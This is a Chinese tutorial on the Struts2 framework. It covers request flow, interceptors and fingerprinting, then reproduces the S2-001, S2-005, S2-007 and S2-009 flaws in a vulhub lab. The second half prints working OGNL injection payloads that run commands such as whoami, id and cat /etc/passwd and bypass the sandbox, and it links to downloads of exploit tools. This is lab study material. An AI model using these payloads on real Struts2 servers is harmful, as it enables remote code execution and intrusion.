struts2介绍
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。struts使系统的脉络更加清晰。通过一个配置文件,即可把握整个系统各部分之间的联系,这对于后期的维护有着莫大的好处。
特点
- Struts 2的应用可以不依赖于Servlet API和Struts API 。
- Struts 2 提供了拦截器,利用拦截器可以进行AOP编程。
- Struts 2 提供了类型转换器。
- Struts 2 提供支持多种表现层技术,如:JSP 、 freeMarker等。
- Struts 2 的输入校验可以指定方法进行校验。
- Struts 2 提供了全局范围、包范围和Action范围的国际化资源文件管理实现。
工作原理
1、客户端初始化一个指向Servlet容器(例如Tomcat)的HttpServletRequest请求
2、这个请求经过一系列的过滤器(Filter)【ActionContextCleanUp的可选过滤器(延长action中属性的生命周期,包括自定义属性,以便在jsp页面中进行访问,让actionContextcleanup过滤器来清除属性,不让action自己清除)】
3、接着FilterDispatcher被调用,FilterDispatcher询问ActionMapper来决定这个请是否需要调用某个Action
4、如果ActionMapper决定需要调用某个Action,FilterDispatcher把请求的处理交给ActionProxy
5、ActionProxy通过ConfigurationManager询问框架的配置文件,找到需要调用的Action类 ,这里,我们一般是从struts.xml配置中读取
6、ActionProxy创建一个ActionInvocation的实例(invocation:调用)
7、ActionInvocation实例使用命名模式来调用,在调用Action的过程前后,涉及到相关拦截器(Intercepter)的调用
ActionInvocation是Xworks 中Action 调度的核心。而对Interceptor 的调度,也正是由ActionInvocation负责。ActionInvocation 是一 个接口,而DefaultActionInvocation 则是Webwork 对ActionInvocation的默认实现。
Interceptor的调度流程大致如下:
1.ActionInvocation初始化时,根据配置,加载Action相关的所有Interceptor。
2.通过ActionInvocation.invoke方法调用Action实现时,执行Interceptor。
8、一旦Action执行完毕,ActionInvocation负责根据struts.xml中的配置找到对应的返回结果。返回结果通常是(但不总是,也可能是另外的一个Action链)一个需要被表示的JSP或者FreeMarker的模版。在表示的过程中可以使用Struts2 框架中继承的标签。在这个过程中需要涉及到ActionMapper
struts2拦截器
拦截器是在访问某个Action或Action的某个方法,字段之前或之后实施拦截,并且Struts2拦截器是可插拔的,拦截器是aop的一种实现
拦截器栈(Interceptor Stack):Struts2拦截器栈就是将拦截器按一定的顺序联结成一条链。在访问被拦截的方法或字段时,Struts2拦截器链中的拦截器就会按其之前定义的顺序被调用
拦截器栈工作原理:
拦截器实现类:
struts2规定用户自定义拦截器必须实现com.opensymphony.xwork2.interceptor.Interceptor接口
该接口声明了3个方法
1 | void init(); |
【抽象类AbstractInterceptor实现了Interceptor接口,提供了init和destroy方法的空实现。如果我们的拦截器不需要打开资源,则可以无需实现这两个方法。可通过继承AbstractInterceptor抽象类来实现自定义拦截器会更简单】
1 | package interceptor; |
自定义拦截器
1 | <package name="custom" extends="struts-default" namespace="/"> |
使用拦截器
1 | <action name="user" class="com.userAction"> |
如果为Action指定了一个拦截器,则系统默认的拦截器栈将会失去作用。为了继续使用默认拦截器,需要在自己定义的拦截器栈中手动引入了默认拦截器。
【默认的拦截器中有一个名为params的拦截器,它的作用是“将请求的参数设置到Action中”,也就是说,如果你从页面中传值到Action,即拦截请求参数,并赋值给action里的属
性,而且你自定义的拦截器要用到这些值栈中的值,则你的拦截器栈中,需要在自定义拦截器前面加上默认的拦截器】
struts2 已经提供了丰富多样的,功能齐全的拦截器实现。在struts2的jar包内的struts-default.xml可以查看到关于默认的拦截器与拦截器链的配置。
拦截器 | 名字 | 说明 |
---|---|---|
Alias Interceptor | alias | 在不同请求之间将请求参数在不同名字件转换,请求内容不变 |
Chaining Interceptor | chain | 让前一个Action的属性可以被后一个Action访问,现在和chain类型的result( |
Checkbox Interceptor | checkbox | 添加了checkbox自动处理代码,将没有选中的checkbox的内容设定为false,而html默认情况下不提交没有选中的checkbox。 |
Cookies Interceptor | cookies | 使用配置的name,value来是指cookies |
Conversion Error Interceptor | conversionError | 将错误从ActionContext中添加到Action的属性字段中。 |
Create Session Interceptor | createSession | 自动的创建HttpSession,用来为需要使用到HttpSession的拦截器服务。 |
Debugging Interceptor | debugging | 提供不同的调试用的页面来展现内部的数据状况。 |
Execute and Wait Interceptor | execAndWait | 在后台执行Action,同时将用户带到一个中间的等待页面。 |
Exception Interceptor | exception | 将异常定位到一个画面 |
File Upload Interceptor | fileUpload | 提供文件上传功能 |
I18n Interceptor | i18n | 记录用户选择的locale |
Logger Interceptor | logger | 输出Action的名字 |
Message Store Interceptor | store | 存储或者访问实现ValidationAware接口的Action类出现的消息,错误,字段错误等。 |
Model Driven Interceptor | model-driven | 如果一个类实现了ModelDriven,将getModel得到的结果放在Value Stack中。 |
Scoped Model Driven | scoped-model-driven | 如果一个Action实现了ScopedModelDriven,则这个拦截器会从相应的Scope中取出model调用Action的setModel方法将其放入Action内部。 |
Parameters Interceptor | params | 将请求中的参数设置到Action中去。 |
Prepare Interceptor | prepare | 如果Acton实现了Preparable,则该拦截器调用Action类的prepare方法。 |
Scope Interceptor | scope | 将Action状态存入session和application的简单方法。 |
Servlet Config Interceptor | servletConfig | 提供访问HttpServletRequest和HttpServletResponse的方法,以Map的方式访问。 |
Static Parameters Interceptor | staticParams | 从struts.xml文件中将 |
Roles Interceptor | roles | 确定用户是否具有JAAS指定的Role,否则不予执行。 |
Timer Interceptor | timer | 输出Action执行的时间 |
Token Interceptor | token | 通过Token来避免双击 |
Token Session Interceptor | tokenSession | 和Token Interceptor一样,不过双击的时候把请求的数据存储在Session中 |
Validation Interceptor | validation | 使用action-validation.xml文件中定义的内容校验提交的数据。 |
Workflow Interceptor | workflow | 调用Action的validate方法,一旦有错误返回,重新定位到INPUT画面 |
Parameter Filter Interceptor | N/A | 从参数列表中删除不必要的参数 |
Profiling Interceptor | profiling | 通过参数激活profile |
如果为了简化struts.xml文件的配置,避免在每个Action重复配置该拦截器,可以将拦截器配置成了一个默认拦截器栈
1 | <struts> |
一旦在某个包下定义了默认拦截器栈,在该包下的所有action都会使用此拦截器栈。对于那些不想使用这些拦截器栈的action,则应该将它放置在其它的包下【如:test1】
拦截器与过滤器的区别:
1.拦截器是基于java反射机制的,而过滤器是基于函数回调的。
2.过滤器依赖于servlet容器,而拦截器不依赖于servlet容器。
3.拦截器只能对Action请求起作用,而过滤器则可以对几乎所有请求起作用。
4.拦截器可以访问Action上下文、值栈里的对象,而过滤器不能。
5.在Action的生命周期中,拦截器可以多次调用,而过滤器只能在容器初始化时被调用一次。
Struts2框架识别
- 通过网页后缀来进行判断,如.do或者.action
- 判断/struts/webconsole.html是否存在来进行判断,
这个功能是开发人员调试时使用的,所以需要devMode为TRUE
Struts2漏洞复现
1、S2-001(OGNL 循环解析导致的 RCE 漏洞)
漏洞原理
用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。
1 | OGNL是Object-Graph Navigation Language的缩写,它是一种功能强大的表达式语言(Expression Language,简称为EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。 |
影响版本
Struts 2.0.0 - 2.0.8
环境搭建
本次测试使用 vulhub 靶场搭建
vuluhub 靶场下载好后,进入本次的漏洞环境,并启动
1 | .../vulhub/struts2/s2-001 |
如下界面说明搭建成功
打开测试页面:ip:8080端口
POC:
1.在密码处输入%{'123'}
2.点击提交
3.成功解析 OGNL 表达式,即存在漏洞
EXP:
获取 tomcat 路径:
1
%{"tomcatBinDir{"+ .lang.System ("user.dir")+"}"}
成功返回
2.获取网站真实路径:
1 | %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()} |
3.执行命令
替换命令
即可执行指令
1 | %{ |
例如:替换命令
为whoami
如果执行的命令之间有空格,需要分别用引号包含
1 | %{ |
2、S2-005(S2-003 的绕过)
漏洞原理
s2-005漏洞源于S2-003(受影响版本:低于Struts 2.0.12),struts2会将 http 的每个参数名解析为 OGNL 语句执行(可理解为java代码)。OGNL表达式通过#来访问 Struts 的对象,Struts框架通过过滤#字符防止安全问题,然而通过 unicode 编码(\u0023)或8进制(\43)就可以绕过安全限制。
对于S2-003漏洞,官方通过增加安全配置即沙盒机制(禁止静态方法allowStaticMethodAcces、MethodAccessor.denyMethodExecution调用和类方法执行等)来修补,但是攻击者可以利用OGNL表达式将 allowStaticMethodAccess设置为true,MethodAccessor.denyMethodExecution设置为false,就可以绕过这个沙盒机制导致S2-005漏洞。
也就是说S2-005漏洞是对S2-003漏洞补丁的绕过
影响版本
Struts 2.0.0 - Struts 2.1.8.1
环境搭建
同1
访问ip:8080出现如下界面说明环境搭建成功
POC
1.执行任意命令(无回显,空格用@代替)
这个 POC会创建一个success文件
1 | ?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 |
抓包添加 payload,往/tmp/目录下写入success文件
进入容器查看发现成功创建success文件
注意:是进入容器!
1 | docker ps #查看当前运行的容器 |
EXP
需要使用工具
1.工具1
下载地链接:https://pan.baidu.com/s/1GnubCDegksD0GYZcbAcfHg,提取码:1111
获取目标信息
执行命令
2.工具2
链接:https://pan.baidu.com/s/1a87zkitH5nzN9KVJWEhgSg,提取码:1111
…这个工具有点强大
3、S2-007(验证类型转换错误时,会导致二次表达式解析)
漏洞原理
S2-007漏洞一般出现在表单处,当配置了验证规则 <ActionName>-validation.xml
时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回
例如下面这个 UserAction-validation.xml 验证表单
1 |
|
当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'" + value + "'"
然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式
影响版本
Struts 2.0.0-2.2.3
环境搭建
同上
搭好后ip:8080界面如下:
POC
在年龄age框中输入下面的非数字类型值,点击登陆,name和email随便输
payload的两端加'+ +'
是为了闭合这里 "'" + value + "'"
两端的引号,放入的value值变成了''+(#xxxx)+''
的形式才可以成功解析
1 | '+(1+1)+' |
年龄框的非数字字符变成了11,证明漏洞存在
EXP
在年龄age框输入要执行的任意代码的EXP,点击提交,页面会返回响应的执行结果
执行任意命令EXP(id)
1 | ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + ' |
cat /etc/passwd:
4、S2-009 远程代码执行漏洞 (CVE-2011-3923)
漏洞原理
Struts2 对 s2-003 的修复方法是禁止#号,于是 s2-005 通过使用编码\u0023或\43来绕过;后来 Struts2 对 s2-005 的修复方法是禁止\等特殊符号,使用户不能提交反斜线。
但是,如果当前 action 中接受了某个参数 example,这个参数将进入 OGNL 的上下文。所以,我们可以将 OGNL 表达式放在 example 参数中,然后使用 /helloword.acton?example=
影响版本
Struts 2.1.0-2.3.1.1
环境搭建
同上
搭建成功访问ip:8080如下:
EXP
我们的目标是去找一个接受了参数,参数类型是 string 的 action。在源码中可以找到这个文件
WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java:
1 | public class Example5Action extends ActionSupport { |
可以看到,其接受了 name 参数并调用 setName 将其赋值给私有属性 this.name,正是符合我们的要求。然后去 WEB-INF/src/java/struts-ajax.xml 看一下 URL 路由:
1 | <package name="ajax" extends="struts-default"> |
name=example5,所以访问 http://ip:8080/ajax/example5.action 即可访问该控制器。按照原理中说到的方法,将 OGNL 利用代码放在 name 参数里,即可利用该漏洞:
1 | age=123&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+#_memberAccess["allowStaticMethodAccess"]=true,+#a=@java.lang.Runtime@getRuntime().exec("[命令]").getInputStream(),#b=new+java.io.InputStreamReader(#a),#c=new+java.io.BufferedReader(#b),#d=new+char[51020],#c.read(#d),#kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#kxlzx.println(#d),#kxlzx.close())(meh)&z[(name)('meh')] |